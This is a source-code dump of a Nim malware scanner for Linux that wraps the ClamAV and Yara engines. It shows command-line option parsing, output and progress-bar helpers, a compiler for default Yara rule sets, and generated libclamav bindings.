1 75 | # In the end of the loop (parent function), we increase i by 1 76 | # This causes missing flag by unexpected offset 77 | break 78 | else: 79 | list_path_objects.add(currentParam) 80 | i += 1 81 | 82 | 83 | proc cliopts_set_list_procs(list_procs: var seq[uint], i: var int, total_param: int): int = 84 | i += 1 85 | 86 | while i <= total_param: 87 | let 88 | currentParam = paramStr(i) 89 | 90 | if currentParam.startsWith("-"): 91 | list_procs = deduplicate(list_procs) 92 | i -= 1 93 | # In the end of the loop (parent function), we increase i by 1 94 | # This causes missing flag by unexpected offset 95 | break 96 | else: 97 | try: 98 | list_procs.add(parseUInt(currentParam)) 99 | except: 100 | discard 101 | i += 1 102 | 103 | return len(list_procs) 104 | 105 | 106 | proc cliopts_get_options*(options: var ScanOptions): bool = 107 | let 108 | total_params_count = paramCount() 109 | 110 | if total_params_count == 0: 111 | return show_help_banner() 112 | 113 | cliopts_create_default(options) 114 | #[ 115 | Function param count uses argv from C and calculate: result = argv.len - 2 116 | We use a variable so we can decrease calculation times 117 | ]# 118 | var 119 | i = 0 120 | 121 | while i <= total_params_count: 122 | let 123 | currentParam = paramStr(i) 124 | 125 | if currentParam.startsWith("-"): 126 | case currentParam: 127 | of "--help": 128 | return show_help_banner() 129 | of "-h": 130 | return show_help_banner() 131 | of "-help": 132 | return show_help_banner() 133 | of "--use-clamdb": 134 | options.use_clam_db = true 135 | of "--clam-debug": 136 | options.is_clam_debug = true 137 | of "--path-clamdb": 138 | cliopts_set_db_path_clamav(options, i, total_params_count): 139 | of "--cldb": # Short alias of --path-clamdb 140 | cliopts_set_db_path_clamav(options, i, total_params_count): 141 | of "--path-yaradb": 142 | cliopts_set_db_path_yara(options, i, total_params_count): 143 | of "--yrdb": # Short alias of --path-yaradb 144 | cliopts_set_db_path_yara(options, i, total_params_count): 145 | of "--scan-files": 146 | cliopts_set_list_files_or_dirs(options.list_path_objects, i, total_params_count) 147 | of "--scan-procs": 148 | if cliopts_set_list_procs(options.list_procs, i, total_params_count) == 0: 149 | options.scan_all_procs = true 150 | of "--scan-fhook": 151 | options.scan_function_hook = true 152 | else: 153 | raise newException(ValueError, "Invalid option " & currentParam) 154 | 155 | i += 1 156 | 157 | # If there's no valid yara path and no ClamDb is in use, raise error 158 | if isEmptyOrWhitespace(options.db_path_yara) and not options.use_clam_db: 159 | raise newException(OSError, "No database found") 160 | 161 | return true 162 | -------------------------------------------------------------------------------- /src/cli/helps.nim: -------------------------------------------------------------------------------- 1 | 2 | 3 | proc show_help_banner*(): bool = 4 | echo "\nEngine options:" 5 | echo " --use-clamdb Use ClamAV's default sigs (/var/lib/clamav/)" 6 | echo " --clam-debug Enable libclam debug mode" 7 | echo " --path-clamdb Set custom ClamAV's signatures" 8 | echo " --path-yaradb Set custom Yara's rules" 9 | echo "\nScan options:" 10 | echo " --scan-files Scan files and dirs" 11 | echo " --scan-procs Scan all running processes" 12 | echo " --scan-procs Scan processes by given PIDs" 13 | echo " --scan-fhook Scan function hooking by userland rootkit" 14 | return false 15 | -------------------------------------------------------------------------------- /src/cli/print_utils.nim: -------------------------------------------------------------------------------- 1 | import strutils 2 | import progress_bar 3 | 4 | {.emit: 5 | """ 6 | #include 7 | 8 | char* yr_get_version() { 9 | return YR_VERSION; 10 | } 11 | """ 12 | .} 13 | 14 | 15 | proc yr_get_version(): cstring {.importc.} 16 | 17 | 18 | proc print_file_infected*(virname, scan_obj: string) = 19 | #[ 20 | If the Yara is post scan (scan after ClamAV) 21 | and ClamAV marked file as infected, the progress bar 22 | is messed up. Call flush again to clear that 23 | ]# 24 | progress_bar_flush() 25 | echo "\e[91m", virname, "\e[0m ", scan_obj 26 | 27 | 28 | proc print_process_infected*(pid: uint, virname, scan_object, exec_path, name: string) = 29 | progress_bar_flush() 30 | echo "\e[91m", virname, "\e[0m Pid: \e[95m", pid, "\e[0m " 31 | echo " Name: ", name 32 | 33 | if not isEmptyOrWhitespace(exec_path): 34 | echo " Exec: \e[40m", exec_path, "\e[0m" 35 | else: 36 | echo " Exec: \e[93mUnknown\e[0m" 37 | 38 | echo " Infected: \e[91m", scan_object, "\e[0m" 39 | 40 | 41 | proc print_loaded_signatures*(num_loaded: uint, is_yara: bool) = 42 | if is_yara: 43 | echo "Loaded ", num_loaded, " Yara rules" 44 | else: 45 | echo "Loaded ", num_loaded, " ClamAV signatures" 46 | 47 | 48 | proc print_yara_version*() = 49 | echo "Yara Engine: ", $yr_get_version() 50 | 51 | 52 | # proc print_found_rootkit_modules*(namespace, id: string) = 53 | # echo "\e[91mKernLoaded@", namespace, ":", id.replace("_", "."), "\e[0m" 54 | 55 | 56 | proc print_sumary*(scanned_files, infected_files, scanned_procs, infected_procs: uint) = 57 | progress_bar_flush() 58 | echo "\n===SCAN COMPLETED===" 59 | if scanned_files > 0: 60 | echo "Scanned objects: ", scanned_files 61 | echo "Infected objects: ", infected_files 62 | if scanned_procs > 0: 63 | echo "Scanned processes: ", scanned_procs 64 | echo "Infected processes: ", infected_procs 65 | -------------------------------------------------------------------------------- /src/cli/progress_bar.nim: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | proc progress_bar_flush*() = 5 | #[ 6 | Remove last line. Use terminal escape https://stackoverflow.com/a/1508589 7 | \e[2K: Erase current line. Use \33[2K in C (maybe Py) 8 | \r: Move cursor to first pos in line 9 | ]# 10 | stdout.write("\e[2K\r") 11 | 12 | 13 | proc progress_bar_scan_file*(path: string) = 14 | #[ 15 | Progress bar on CLi. Move this function to a callback lib if switch to GUI 16 | Do not call eraseLine here. We keep showing this line until it's finished. 17 | Call eraseLine after scan is done 18 | https://nim-lang.org/docs/terminal.html 19 | ]# 20 | # If path is too long -> can't erase stdout. We try print only file name 21 | progress_bar_flush() 22 | let file_name = splitPath(path).tail 23 | if len(file_name) < 50: 24 | stdout.write("[\e[96mF\e[0m] " & file_name) 25 | stdout.flushFile() 26 | 27 | 28 | proc progress_bar_scan_proc*(pid: uint, path: string) = 29 | progress_bar_flush() 30 | let file_name = splitPath(path).tail 31 | if len(file_name) < 50: 32 | stdout.write("[\e[96mP\e[0m] " & $pid & " " & file_name) 33 | else: 34 | stdout.write("[\e[96mP\e[0m] " & $pid) 35 | stdout.flushFile() 36 | -------------------------------------------------------------------------------- /src/compiler/compiler_utils.nim: -------------------------------------------------------------------------------- 1 | import ../engine/bindings/libyara 2 | import strformat 3 | 4 | type 5 | COMPILER_RESULT* = object 6 | errors*: int 7 | warnings*: int 8 | 9 | 10 | proc yr_rules_report_errors*(error_level: cint; file_name: cstring; line_number: cint; rule: ptr YR_RULE; message: cstring; user_data: pointer) {.cdecl.} = 11 | if rule != nil: 12 | echo fmt"{message} at {file_name}:{line_number}" 13 | 14 | 15 | proc yr_rules_compile_custom_rules*(rules: var ptr YR_RULES, path_list: seq[string]): bool = 16 | var 17 | compiler: ptr YR_COMPILER 18 | compiler_result: COMPILER_RESULT 19 | setting_max_string = DEFAULT_MAX_STRINGS_PER_RULE 20 | 21 | if yr_initialize() != ERROR_SUCCESS: 22 | return false 23 | if yr_compiler_create(addr(compiler)) != ERROR_SUCCESS: 24 | return false 25 | 26 | discard yr_set_configuration(YR_CONFIG_MAX_STRINGS_PER_RULE, addr(setting_max_string)) 27 | yr_compiler_set_callback(compiler, yr_rules_report_errors, addr(compiler_result)) 28 | 29 | for path in path_list: 30 | if yr_compiler_add_file(compiler, open(path), "ExtrRules", cstring(path)) != ERROR_SUCCESS: 31 | return false 32 | 33 | if yr_compiler_get_rules(compiler, addr(rules)) != ERROR_SUCCESS: 34 | return false 35 | 36 | # finityara 37 | if compiler != nil: 38 | yr_compiler_destroy(compiler) 39 | discard yr_finalize() 40 | -------------------------------------------------------------------------------- /src/compiler/yr_db_compiler.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Compile rules using yr_compiler. Should be similar to yarac and user can use any (libyara must be the same) 3 | ]# 4 | 5 | import ../engine/bindings/libyara 6 | import compiler_utils 7 | 8 | 9 | proc compile_default_rules(dst: string) = 10 | # Init yara 11 | var 12 | compiler: ptr YR_COMPILER 13 | rules: ptr YR_RULES 14 | compiler_result: COMPILER_RESULT 15 | setting_max_string = DEFAULT_MAX_STRINGS_PER_RULE 16 | if yr_initialize() != ERROR_SUCCESS: 17 | return 18 | if yr_compiler_create(addr(compiler)) != ERROR_SUCCESS: 19 | return 20 | 21 | discard yr_set_configuration(YR_CONFIG_MAX_STRINGS_PER_RULE, addr(setting_max_string)) 22 | yr_compiler_set_callback(compiler, yr_rules_report_errors, addr(compiler_result)) 23 | 24 | # Set variables 25 | discard yr_compiler_define_boolean_variable(compiler, cstring("proc_exe_exists"), cint(0)) 26 | discard yr_compiler_define_string_variable(compiler, cstring("proc_exe"), cstring("")) 27 | discard yr_compiler_define_string_variable(compiler, cstring("proc_name"), cstring("")) 28 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stdin"), cstring("")) 29 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stdout"), cstring("")) 30 | discard yr_compiler_define_string_variable(compiler, cstring("fd_stderr"), cstring("")) 31 | discard yr_compiler_define_string_variable(compiler, cstring("proc_cmdline"), cstring("")) 32 | 33 | # Set scan block type for better memory scan's accuracy 34 | discard yr_compiler_add_file(compiler, open("rules/magics.yar"), "Magic", "magics.yar") 35 | discard yr_compiler_add_file(compiler, open("rules/ransomware.yar"), "Rans", "ransomware.yar") 36 | discard yr_compiler_add_file(compiler, open("rules/commons.yar"), "Heur", "commons.yar") 37 | discard yr_compiler_add_file(compiler, open("rules/rootkit.yar"), "Rkit", "rootkit.yar") 38 | discard yr_compiler_add_file(compiler, open("rules/trojan.yar"), "Trjn", "trojan.yar") 39 | discard yr_compiler_add_file(compiler, open("rules/coin_miner.yar"), "Minr", "coin_miner.yar") 40 | discard yr_compiler_add_file(compiler, open("rules/botnet.yar"), "Botn", "botnet.yar") 41 | 42 | discard yr_compiler_get_rules(compiler, addr(rules)) 43 | let loaded_sigs = uint(rules.num_rules) 44 | echo "Compiling ", loaded_sigs, " signatures from default ruleset" 45 | discard yr_rules_save(rules, dst) 46 | 47 | # finityara 48 | if compiler != nil: 49 | yr_compiler_destroy(compiler) 50 | if rules != nil: 51 | discard yr_rules_destroy(rules) 52 | discard yr_finalize() 53 | 54 | 55 | compile_default_rules("build/release/databases/signatures.ydb") 56 | -------------------------------------------------------------------------------- /src/engine/bindings/libclamav.nim: -------------------------------------------------------------------------------- 1 | # Generated @ 2021-11-10T02:04:08+07:00 2 | # Command line: 3 | # /home/dmknght/.nimble/pkgs/nimterop-#head/nimterop/toast --preprocess -m:c --recurse --pnim --nim:/usr/bin/nim /tmp/clamav/libclamav/clamav.h --includeDirs+=/tmp/clamav/libclamav -o /tmp/clamav.nim 4 | 5 | # const 'STATBUF' has unsupported value 'struct stat' 6 | # const 'CLAMSTAT' has unsupported value 'stat' 7 | # const 'LSTAT' has unsupported value 'lstat' 8 | # const 'FSTAT' has unsupported value 'fstat' 9 | # const 'safe_open' has unsupported value 'open' 10 | {.push hint[ConvFromXtoItselfNotNeeded]: off.} 11 | import macros 12 | import posix 13 | 14 | macro defineEnum(typ: untyped): untyped = 15 | result = newNimNode(nnkStmtList) 16 | 17 | # Enum mapped to distinct cint 18 | result.add quote do: 19 | type `typ`* = distinct cint 20 | 21 | for i in ["+", "-", "*", "div", "mod", "shl", "shr", "or", "and", "xor", "<", "<=", "==", ">", ">="]: 22 | let 23 | ni = newIdentNode(i) 24 | typout = if i[0] in "<=>": newIdentNode("bool") else: typ # comparisons return bool 25 | if i[0] == '>': # cannot borrow `>` and `>=` from templates 26 | let 27 | nopp = if i.len == 2: newIdentNode("<=") else: newIdentNode("<") 28 | result.add quote do: 29 | proc `ni`*(x: `typ`, y: cint): `typout` = `nopp`(y, x) 30 | proc `ni`*(x: cint, y: `typ`): `typout` = `nopp`(y, x) 31 | proc `ni`*(x, y: `typ`): `typout` = `nopp`(y, x) 32 | else: 33 | result.add quote do: 34 | proc `ni`*(x: `typ`, y: cint): `typout` {.borrow.} 35 | proc `ni`*(x: cint, y: `typ`): `typout` {.borrow.} 36 | proc `ni`*(x, y: `typ`): `typout` {.borrow.} 37 | result.add quote do: 38 | proc `ni`*(x: `typ`, y: int): `typout` = `ni`(x, y.cint) 39 | proc `ni`*(x: int, y: `typ`): `typout` = `ni`(x.cint, y) 40 | 41 | let 42 | divop = newIdentNode("/") # `/`() 43 | dlrop = newIdentNode("$") # `$`() 44 | notop = newIdentNode("not") # `not`() 45 | result.add quote do: 46 | proc `divop`*(x, y: `typ`): `typ` = `typ`((x.float / y.float).cint) 47 | proc `divop`*(x: `typ`, y: cint): `typ` = `divop`(x, `typ`(y)) 48 | proc `divop`*(x: cint, y: `typ`): `typ` = `divop`(`typ`(x), y) 49 | proc `divop`*(x: `typ`, y: int): `typ` = `divop`(x, y.cint) 50 | proc `divop`*(x: int, y: `typ`): `typ` = `divop`(x.cint, y) 51 | 52 | proc `dlrop`*(x: `typ`): string {.borrow.} 53 | proc `notop`*(x: `typ`): `typ` {.borrow.} 54 | 55 | 56 | {.pragma: impclamavHdr, header: "clamav.h".} 57 | {.experimental: "codeReordering".} 58 | 59 | defineEnum(cl_error_t) 60 | defineEnum(cl_engine_field) 61 | defineEnum(bytecode_security) 62 | defineEnum(bytecode_mode) 63 | defineEnum(cl_msg) 64 | const 65 | CL_SUCCESS* = (0).cl_error_t 66 | CL_CLEAN* = (0).cl_error_t 67 | CL_VIRUS* = (CL_SUCCESS + 1).cl_error_t 68 | CL_ENULLARG* = (CL_VIRUS + 1).cl_error_t 69 | CL_EARG* = (CL_ENULLARG + 1).cl_error_t 70 | CL_EMALFDB* = (CL_EARG + 1).cl_error_t 71 | CL_ECVD* = (CL_EMALFDB + 1).cl_error_t 72 | CL_EVERIFY* = (CL_ECVD + 1).cl_error_t 73 | CL_EUNPACK* = (CL_EVERIFY + 1).cl_error_t 74 | CL_EOPEN* = (CL_EUNPACK + 1).cl_error_t 75 | CL_ECREAT* = (CL_EOPEN + 1).cl_error_t 76 | CL_EUNLINK* = (CL_ECREAT + 1).cl_error_t 77 | CL_ESTAT* = (CL_EUNLINK + 1).cl_error_t 78 | CL_EREAD* = (CL_ESTAT + 1).cl_error_t 79 | CL_ESEEK* = (CL_EREAD + 1).cl_error_t 80 | CL_EWRITE* = (CL_ESEEK + 1).cl_error_t 81 | CL_EDUP* = (CL_EWRITE + 1).cl_error_t 82 | CL_EACCES* = (CL_EDUP + 1).cl_error_t 83 | CL_ETMPFILE* = (CL_EACCES + 1).cl_error_t 84 | CL_ETMPDIR* = (CL_ETMPFILE + 1).cl_error_t 85 | CL_EMAP* = (CL_ETMPDIR + 1).cl_error_t 86 | CL_EMEM* = (CL_EMAP + 1).cl_error_t 87 | CL_ETIMEOUT* = (CL_EMEM + 1).cl_error_t 88 | CL_BREAK* = (CL_ETIMEOUT + 1).cl_error_t 89 | CL_EMAXREC* = (CL_BREAK + 1).cl_error_t 90 | CL_EMAXSIZE* = (CL_EMAXREC + 1).cl_error_t 91 | CL_EMAXFILES* = (CL_EMAXSIZE + 1).cl_error_t 92 | CL_EFORMAT* = (CL_EMAXFILES + 1).cl_error_t 93 | CL_EPARSE* = (CL_EFORMAT + 1).cl_error_t 94 | CL_EBYTECODE* = (CL_EPARSE + 1).cl_error_t 95 | CL_EBYTECODE_TESTFAIL* = (CL_EBYTECODE + 1).cl_error_t 96 | CL_ELOCK* = (CL_EBYTECODE_TESTFAIL + 1).cl_error_t 97 | CL_EBUSY* = (CL_ELOCK + 1).cl_error_t 98 | CL_ESTATE* = (CL_EBUSY + 1).cl_error_t 99 | CL_VERIFIED* = (CL_ESTATE + 1).cl_error_t 100 | CL_ERROR* = (CL_VERIFIED + 1).cl_error_t 101 | CL_ELAST_ERROR* = (CL_ERROR + 1).cl_error_t 102 | CL_ENGINE_MAX_SCANSIZE* = (0).cl_engine_field 103 | CL_ENGINE_MAX_FILESIZE* = (CL_ENGINE_MAX_SCANSIZE + 1).cl_engine_field 104 | CL_ENGINE_MAX_RECURSION* = (CL_ENGINE_MAX_FILESIZE + 1).cl_engine_field 105 | CL_ENGINE_MAX_FILES* = (CL_ENGINE_MAX_RECURSION + 1).cl_engine_field 106 | CL_ENGINE_MIN_CC_COUNT* = (CL_ENGINE_MAX_FILES + 1).cl_engine_field 107 | CL_ENGINE_MIN_SSN_COUNT* = (CL_ENGINE_MIN_CC_COUNT + 1).cl_engine_field 108 | CL_ENGINE_PUA_CATEGORIES* = (CL_ENGINE_MIN_SSN_COUNT + 1).cl_engine_field 109 | CL_ENGINE_DB_OPTIONS* = (CL_ENGINE_PUA_CATEGORIES + 1).cl_engine_field 110 | CL_ENGINE_DB_VERSION* = (CL_ENGINE_DB_OPTIONS + 1).cl_engine_field 111 | CL_ENGINE_DB_TIME* = (CL_ENGINE_DB_VERSION + 1).cl_engine_field 112 | CL_ENGINE_AC_ONLY* = (CL_ENGINE_DB_TIME + 1).cl_engine_field 113 | CL_ENGINE_AC_MINDEPTH* = (CL_ENGINE_AC_ONLY + 1).cl_engine_field 114 | CL_ENGINE_AC_MAXDEPTH* = (CL_ENGINE_AC_MINDEPTH + 1).cl_engine_field 115 | CL_ENGINE_TMPDIR* = (CL_ENGINE_AC_MAXDEPTH + 1).cl_engine_field 116 | CL_ENGINE_KEEPTMP* = (CL_ENGINE_TMPDIR + 1).cl_engine_field 117 | CL_ENGINE_BYTECODE_SECURITY* = (CL_ENGINE_KEEPTMP + 1).cl_engine_field 118 | CL_ENGINE_BYTECODE_TIMEOUT* = (CL_ENGINE_BYTECODE_SECURITY + 1).cl_engine_field 119 | CL_ENGINE_BYTECODE_MODE* = (CL_ENGINE_BYTECODE_TIMEOUT + 1).cl_engine_field 120 | CL_ENGINE_MAX_EMBEDDEDPE* = (CL_ENGINE_BYTECODE_MODE + 1).cl_engine_field 121 | CL_ENGINE_MAX_HTMLNORMALIZE* = (CL_ENGINE_MAX_EMBEDDEDPE + 1).cl_engine_field 122 | CL_ENGINE_MAX_HTMLNOTAGS* = (CL_ENGINE_MAX_HTMLNORMALIZE + 1).cl_engine_field 123 | CL_ENGINE_MAX_SCRIPTNORMALIZE* = (CL_ENGINE_MAX_HTMLNOTAGS + 1).cl_engine_field 124 | CL_ENGINE_MAX_ZIPTYPERCG* = (CL_ENGINE_MAX_SCRIPTNORMALIZE + 1).cl_engine_field 125 | CL_ENGINE_FORCETODISK* = (CL_ENGINE_MAX_ZIPTYPERCG + 1).cl_engine_field 126 | CL_ENGINE_DISABLE_CACHE* = (CL_ENGINE_FORCETODISK + 1).cl_engine_field 127 | CL_ENGINE_DISABLE_PE_STATS* = (CL_ENGINE_DISABLE_CACHE + 1).cl_engine_field 128 | CL_ENGINE_STATS_TIMEOUT* = (CL_ENGINE_DISABLE_PE_STATS + 1).cl_engine_field 129 | CL_ENGINE_MAX_PARTITIONS* = (CL_ENGINE_STATS_TIMEOUT + 1).cl_engine_field 130 | CL_ENGINE_MAX_ICONSPE* = (CL_ENGINE_MAX_PARTITIONS + 1).cl_engine_field 131 | CL_ENGINE_MAX_RECHWP3* = (CL_ENGINE_MAX_ICONSPE + 1).cl_engine_field 132 | CL_ENGINE_MAX_SCANTIME* = (CL_ENGINE_MAX_RECHWP3 + 1).cl_engine_field 133 | CL_ENGINE_PCRE_MATCH_LIMIT* = (CL_ENGINE_MAX_SCANTIME + 1).cl_engine_field 134 | CL_ENGINE_PCRE_RECMATCH_LIMIT* = (CL_ENGINE_PCRE_MATCH_LIMIT + 1).cl_engine_field 135 | CL_ENGINE_PCRE_MAX_FILESIZE* = (CL_ENGINE_PCRE_RECMATCH_LIMIT + 1).cl_engine_field 136 | CL_ENGINE_DISABLE_PE_CERTS* = (CL_ENGINE_PCRE_MAX_FILESIZE + 1).cl_engine_field 137 | CL_ENGINE_PE_DUMPCERTS* = (CL_ENGINE_DISABLE_PE_CERTS + 1).cl_engine_field 138 | CL_BYTECODE_TRUST_ALL* = (0).bytecode_security 139 | CL_BYTECODE_TRUST_SIGNED* = (CL_BYTECODE_TRUST_ALL + 1).bytecode_security 140 | CL_BYTECODE_TRUST_NOTHING* = (CL_BYTECODE_TRUST_SIGNED + 1).bytecode_security 141 | CL_BYTECODE_MODE_AUTO* = (0).bytecode_mode 142 | CL_BYTECODE_MODE_JIT* = (CL_BYTECODE_MODE_AUTO + 1).bytecode_mode 143 | CL_BYTECODE_MODE_INTERPRETER* = (CL_BYTECODE_MODE_JIT + 1).bytecode_mode 144 | CL_BYTECODE_MODE_TEST* = (CL_BYTECODE_MODE_INTERPRETER + 1).bytecode_mode 145 | CL_BYTECODE_MODE_OFF* = (CL_BYTECODE_MODE_TEST + 1).bytecode_mode 146 | CL_MSG_INFO_VERBOSE* = (32).cl_msg 147 | CL_MSG_WARN* = (64).cl_msg 148 | CL_MSG_ERROR* = (128).cl_msg 149 | 150 | const 151 | STAT64_BLACKLIST* = 1 152 | CL_COUNT_PRECISION* = 4096 153 | CL_DB_PHISHING* = 0x00000002 154 | CL_DB_PHISHING_URLS* = 0x00000008 155 | CL_DB_PUA* = 0x00000010 156 | CL_DB_CVDNOTMP* = 0x00000020 157 | CL_DB_OFFICIAL* = 0x00000040 158 | CL_DB_PUA_MODE* = 0x00000080 159 | CL_DB_PUA_INCLUDE* = 0x00000100 160 | CL_DB_PUA_EXCLUDE* = 0x00000200 161 | CL_DB_COMPILED* = 0x00000400 162 | CL_DB_DIRECTORY* = 0x00000800 163 | CL_DB_OFFICIAL_ONLY* = 0x00001000 164 | CL_DB_BYTECODE* = 0x00002000 165 | CL_DB_SIGNED* = 0x00004000 166 | CL_DB_BYTECODE_UNSIGNED* = 0x00008000 167 | CL_DB_UNSIGNED* = 0x00010000 168 | CL_DB_BYTECODE_STATS* = 0x00020000 169 | CL_DB_ENHANCED* = 0x00040000 170 | CL_DB_PCRE_STATS* = 0x00080000 171 | CL_DB_YARA_EXCLUDE* = 0x00100000 172 | CL_DB_YARA_ONLY* = 0x00200000 173 | CL_DB_STDOPT* = (CL_DB_PHISHING or typeof(CL_DB_PHISHING)(CL_DB_PHISHING_URLS) or 174 | typeof(CL_DB_PHISHING)(CL_DB_BYTECODE)) 175 | CL_SCAN_GENERAL_ALLMATCHES* = 0x00000001 176 | CL_SCAN_GENERAL_COLLECT_METADATA* = 0x00000002 177 | CL_SCAN_GENERAL_HEURISTICS* = 0x00000004 178 | CL_SCAN_GENERAL_HEURISTIC_PRECEDENCE* = 0x00000008 179 | CL_SCAN_GENERAL_UNPRIVILEGED* = 0x00000010 180 | CL_SCAN_PARSE_ARCHIVE* = 0x00000001 181 | CL_SCAN_PARSE_ELF* = 0x00000002 182 | CL_SCAN_PARSE_PDF* = 0x00000004 183 | CL_SCAN_PARSE_SWF* = 0x00000008 184 | CL_SCAN_PARSE_HWP3* = 0x00000010 185 | CL_SCAN_PARSE_XMLDOCS* = 0x00000020 186 | CL_SCAN_PARSE_MAIL* = 0x00000040 187 | CL_SCAN_PARSE_OLE2* = 0x00000080 188 | CL_SCAN_PARSE_HTML* = 0x00000100 189 | CL_SCAN_PARSE_PE* = 0x00000200 190 | CL_SCAN_HEURISTIC_BROKEN* = 0x00000002 191 | CL_SCAN_HEURISTIC_EXCEEDS_MAX* = 0x00000004 192 | CL_SCAN_HEURISTIC_PHISHING_SSL_MISMATCH* = 0x00000008 193 | CL_SCAN_HEURISTIC_PHISHING_CLOAK* = 0x00000010 194 | CL_SCAN_HEURISTIC_MACROS* = 0x00000020 195 | CL_SCAN_HEURISTIC_ENCRYPTED_ARCHIVE* = 0x00000040 196 | CL_SCAN_HEURISTIC_ENCRYPTED_DOC* = 0x00000080 197 | CL_SCAN_HEURISTIC_PARTITION_INTXN* = 0x00000100 198 | CL_SCAN_HEURISTIC_STRUCTURED* = 0x00000200 199 | CL_SCAN_HEURISTIC_STRUCTURED_SSN_NORMAL* = 0x00000400 200 | CL_SCAN_HEURISTIC_STRUCTURED_SSN_STRIPPED* = 0x00000800 201 | CL_SCAN_HEURISTIC_STRUCTURED_CC* = 0x00001000 202 | CL_SCAN_HEURISTIC_BROKEN_MEDIA* = 0x00002000 203 | CL_SCAN_MAIL_PARTIAL_MESSAGE* = 0x00000001 204 | CL_SCAN_DEV_COLLECT_SHA* = 0x00000001 205 | CL_SCAN_DEV_COLLECT_PERFORMANCE_INFO* = 0x00000002 206 | CL_COUNTSIGS_OFFICIAL* = 0x00000001 207 | CL_COUNTSIGS_UNOFFICIAL* = 0x00000002 208 | CL_COUNTSIGS_ALL* = (CL_COUNTSIGS_OFFICIAL or 209 | typeof(CL_COUNTSIGS_OFFICIAL)(CL_COUNTSIGS_UNOFFICIAL)) 210 | ENGINE_OPTIONS_NONE* = 0x00000000 211 | ENGINE_OPTIONS_DISABLE_CACHE* = 0x00000001 212 | ENGINE_OPTIONS_FORCE_TO_DISK* = 0x00000002 213 | ENGINE_OPTIONS_DISABLE_PE_STATS* = 0x00000004 214 | ENGINE_OPTIONS_DISABLE_PE_CERTS* = 0x00000008 215 | ENGINE_OPTIONS_PE_DUMPCERTS* = 0x00000010 216 | CL_INIT_DEFAULT* = 0x00000000 217 | MD5_HASH_SIZE* = 16 218 | SHA1_HASH_SIZE* = 20 219 | SHA256_HASH_SIZE* = 32 220 | SHA384_HASH_SIZE* = 48 221 | SHA512_HASH_SIZE* = 64 222 | type 223 | cl_scan_options* {.bycopy, impclamavHdr, importc: "struct cl_scan_options".} = object 224 | general*: uint32 225 | parse*: uint32 226 | heuristic*: uint32 227 | mail*: uint32 228 | dev*: uint32 229 | 230 | cl_engine* {.incompleteStruct, impclamavHdr, importc: "struct cl_engine".} = object 231 | cl_settings* {.incompleteStruct, impclamavHdr, importc: "struct cl_settings".} = object 232 | cli_section_hash* {.bycopy, impclamavHdr, importc: "struct cli_section_hash".} = object 233 | md5*: array[16, uint8] 234 | len*: uint 235 | 236 | cli_stats_sections* {.bycopy, impclamavHdr, 237 | importc: "struct cli_stats_sections".} = object 238 | nsections*: uint 239 | sections*: ptr cli_section_hash 240 | 241 | stats_section_t* {.importc, impclamavHdr.} = cli_stats_sections 242 | clcb_pre_cache* {.importc, impclamavHdr.} = proc (fd: cint; `type`: cstring; 243 | context: pointer): cl_error_t {.cdecl.} 244 | clcb_pre_scan* {.importc, impclamavHdr.} = proc (fd: cint; `type`: cstring; 245 | context: pointer): cl_error_t {.cdecl.} 246 | #[ 247 | * @brief File inspection callback. 248 | * 249 | * DISCLAIMER: This interface is to be considered unstable while we continue to evaluate it. 250 | * We may change this interface in the future. 251 | * 252 | * Called for each NEW file (inner and outer). 253 | * Provides capability to record embedded file information during a scan. 254 | * 255 | * @param fd Current file descriptor which is about to be scanned. 256 | * @param type Current file type detected via magic - i.e. NOT on the fly - (e.g. "CL_TYPE_MSEXE"). 257 | * @param ancestors An array of ancestors filenames of size `recursion_level`. filenames may be NULL. 258 | * @param parent_file_size Parent file size. 259 | * @param file_name Current file name, or NULL if the file does not have a name or ClamAV failed to record the name. 260 | * @param file_size Current file size. 261 | * @param file_buffer Current file buffer pointer. 262 | * @param recursion_level Recursion level / depth of the current file. 263 | * @param layer_attributes See LAYER_ATTRIBUTES_* flags. 264 | * @param context Opaque application provided data. 265 | * @return CL_CLEAN = File is scanned. 266 | * @return CL_BREAK = Whitelisted by callback - file is skipped and marked as clean. 267 | * @return CL_VIRUS = Blacklisted by callback - file is skipped and marked as infected. 268 | ]# 269 | clcb_file_inspection* {.importc, impclamavHdr.} = proc (fd: cint; `type`: cstring; ancestors: ptr cstring; parent_file_size: uint; file_name: cstring; file_size: uint; file_buffer: cstring; recursion_level: uint32; layer_attributes: uint32; context: pointer): cl_error_t {.cdecl.} 270 | clcb_post_scan* {.importc, impclamavHdr.} = proc (fd: cint; result: cint; 271 | virname: cstring; context: pointer): cl_error_t {.cdecl.} 272 | clcb_virus_found* {.importc, impclamavHdr.} = proc (fd: cint; 273 | virname: cstring; context: pointer) {.cdecl.} 274 | clcb_sigload* {.importc, impclamavHdr.} = proc (`type`: cstring; 275 | name: cstring; custom: cuint; context: pointer): cint {.cdecl.} 276 | clcb_msg* {.importc, impclamavHdr.} = proc (severity: cl_msg; 277 | fullmsg: cstring; msg: cstring; context: pointer) {.cdecl.} 278 | clcb_hash* {.importc, impclamavHdr.} = proc (fd: cint; size: culonglong; 279 | md5: ptr uint8; virname: cstring; context: pointer) {.cdecl.} 280 | clcb_meta* {.importc, impclamavHdr.} = proc (container_type: cstring; 281 | fsize_container: culong; filename: cstring; fsize_real: culong; 282 | is_encrypted: cint; filepos_container: cuint; context: pointer): cl_error_t {. 283 | cdecl.} 284 | clcb_file_props* {.importc, impclamavHdr.} = proc (j_propstr: cstring; 285 | rc: cint; cbdata: pointer): cint {.cdecl.} 286 | clcb_stats_add_sample* {.importc, impclamavHdr.} = proc (virname: cstring; 287 | md5: ptr uint8; size: uint; sections: ptr stats_section_t; 288 | cbdata: pointer) {.cdecl.} 289 | clcb_stats_remove_sample* {.importc, impclamavHdr.} = proc (virname: cstring; 290 | md5: ptr uint8; size: uint; cbdata: pointer) {.cdecl.} 291 | clcb_stats_decrement_count* {.importc, impclamavHdr.} = proc ( 292 | virname: cstring; md5: ptr uint8; size: uint; cbdata: pointer) {.cdecl.} 293 | clcb_stats_submit* {.importc, impclamavHdr.} = proc (engine: ptr cl_engine; 294 | cbdata: pointer) {.cdecl.} 295 | clcb_stats_flush* {.importc, impclamavHdr.} = proc (engine: ptr cl_engine; 296 | cbdata: pointer) {.cdecl.} 297 | clcb_stats_get_num* {.importc, impclamavHdr.} = proc (cbdata: pointer): uint {. 298 | cdecl.} 299 | clcb_stats_get_size* {.importc, impclamavHdr.} = proc (cbdata: pointer): uint {. 300 | cdecl.} 301 | 